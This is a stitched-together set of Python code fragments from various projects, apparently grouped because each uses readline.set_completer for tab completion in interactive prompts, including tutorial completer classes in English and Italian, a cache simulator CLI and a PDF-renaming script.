'red') continue session = Session(user_input[1]) # The module is incorrect if not(session.correct_module()): cprint('[!] Invalid module', 'red') session = None elif user_input[0] == 'show': if session is None: cprint('[!] Please, load a module', 'red') continue session.show() elif user_input[0] == 'set': if session is None: cprint('[!] Please, load a module', 'red') continue else: value = ' '.join([str(x) for x in user_input[2:]]) session.set(user_input[1], value) elif user_input[0] == 'run': if session is None: cprint('[!] Please, load a module', 'red') continue session.run() else: cprint('[!] Command not found', 'red')
def disableAutoComplete(): """ Disables tab-autocomplete functionality in user input.""" readline.set_completer(None)
def __init__( self, command: str, rebuild: bool, config_path: str, nix: bool = False, settings_path: str = SETTINGS_PATH ): self._command = command self._rebuild: bool = rebuild self._nix: bool = nix # Not currently supported self._config_path: str = config_path self._settings_path: str = settings_path assert command in RUNNER_COMMANDS # Some state flags/vars used by eg the UI/event loop self._primary_attached_app: Optional[Dict] = None self._shutdown: threading.Event = threading.Event() self._awaiting_input: bool = False self._suppress_log_printing: bool = False self._filter_logs: Sequence[str] = [] self._use_docker_services: bool = False self._processes: dict = {} self._dmservices = None self._main_log_name = "manager" self.config: Dict = {} # Temporarily ignore SIGINT while setting up multiprocessing components. # START curr_signal = signal.getsignal(signal.SIGINT) signal.signal(signal.SIGINT, signal.SIG_IGN) self._manager = multiprocessing.Manager() self._apps: Dict[str, Dict[str, Any]] = self._manager.dict() signal.signal(signal.SIGINT, curr_signal) # Probably a race condition? # END with open(self._settings_path) as settings_file: self.settings: dict = yaml.safe_load(settings_file.read()) # load environment variables from settings file, # taking care not to override existing envvars if self.settings.get("environment"): for key, value in self.settings["environment"].items(): if key not in os.environ: self.logger(f"setting environment variable {key}") os.environ[key] = str(value) self._main_log_name = "setup" # Handles initialization of external state required to run this correctly (repos, docker images, config, etc). exitcode, self._use_docker_services, self.config = setup_and_check_requirements( logger=self.logger, config=self.config, config_path=self._config_path, settings=self.settings, command=self._command, ) if exitcode or self._command != RUNNER_COMMAND_RUN: self.shutdown() sys.exit(exitcode) self._inject_credentials() self._main_log_name = "manager" self._populate_multiprocessing_components() # Setup tab completion for app names. readline.parse_and_bind("tab: complete") readline.set_completer(self._app_name_completer) readline.set_completer_delims(" ")
try: response = self.current_candidates[state] except IndexError: response = None logging.debug('completato(%s, %s) => %s', repr(text), state, response) return response def input_loop(): line = '' while line != 'stop': line = input('Prompt ("stop" per uscire): ') print('Inviato {}'.format(line)) # Registrazione della propria funzione di completamento readline.set_completer(BufferAwareCompleter( {'elenca':['file', 'directory'], 'stampa':['pernome', 'perdimensione'], 'stop':[], }).complete) # Uso del tasto tab per il completamento readline.parse_and_bind('tab: complete') # Prompt all'utente per il testo input_loop()
logging.debug('(input vuoto) corrispondenze: %s', self.matches) # Restituisce l'elemento che corrisponde a state dalla # lista di completamento se ce ne sono a sufficienza try: response = self.matches[state] except IndexError: response = None logging.debug('completato(%s, %s) => %s', repr(text), state, repr(response)) return response def input_loop(): line = '' while line != 'stop': line = input('Prompt ("stop" per abbandonare): ') print('Invia {}'.format(line)) # Registra la funzione di completamento OPTIONS = ['start', 'stop', 'elenco', 'stampa'] readline.set_completer(SimpleCompleter(OPTIONS).complete) # Usa il tasto tab per il completamento readline.parse_and_bind('tab: complete') # Richiede testo all'utente input_loop()
logging.debug('(empty input) matches: %s', self.matches) # Return the state'th item from the match list, # if that many items are present. try: response = self.matches[state] except IndexError: response = None logging.debug('complete(%s, %s) => %s', repr(text), state, repr(response)) return response def input_loop(): line = '' while line != 'stop': line = input('Prompt ("stop" to quit): ') print('Dispatch {}'.format(line)) # Register the completer function. OPTIONS = ['start', 'stop', 'list', 'print'] readline.set_completer(SimpleCompleter(OPTIONS).complete) # Use the tab key for completion. readline.parse_and_bind('tab: complete') # Prompt the user for text. input_loop()
filename_old = os.path.join(dirpath, name) if name.endswith(".pdf"): print('Processing: ' + filename_old) subprocess.call([ "/usr/bin/open", "-a", "/System/Applications/Preview.app", filename_old ]) subprocess.call([ 'osascript', '-e', 'tell application "Preview" to set bounds of front window to {0, 0, 720, 870}' ]) subprocess.call( ['osascript', '-e', 'activate application "iTerm"']) """Read docdate""" readline.set_completer() docdate = input_with_prefill("Enter docdate: ", str(docdate)) """Read docid""" readline.set_completer() docid = input_with_prefill("Enter id: ", str(docid_old + 1)) if (docid != ""): print('a number: remembering docid') docid_old = int(docid) """Read docpath""" readline.set_completer(docpath_completer) docpath = input('Enter docpath: ') """Read docdesc""" readline.set_completer(doctype_completer) docdesc = input('Enter docdesc:') """Set new filename"""
print("Block size: " + str(block_size) + " bytes") print("Mapping policy: " + ("direct" if mapping == 1 else mapping_str) + "\n") # Setup Readline for history and completion # See: https://pymotw.com/2/readline/ # and https://pewpewthespells.com/blog/osx_readline.html if 'libedit' in readline.__doc__: # macOS readline.parse_and_bind("bind ^I rl_complete") else: # UNIX readline.parse_and_bind("tab: complete") # TODO: test windows support? readline.set_completer( SimpleCompleter([ 'quit', 'read', 'write', 'randread', 'randwrite', 'printcache', 'printmem', 'stats' ]).complete) # Setup simple logging LOG_FILENAME = '.simulator.log' logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG) # TODO: add logging to other methods, too # Use raw_input instead of input if running in Python 2.7 # See: https://stackoverflow.com/questions/21731043/use-of-input-raw-input-in-python-2-and-3 if hasattr(__builtins__, 'raw_input'): input = raw_input command = None while (command != "quit"):
def use_completer(completer=None): if completer_state['available'] and completer is not None: readline.set_completer(completer.complete)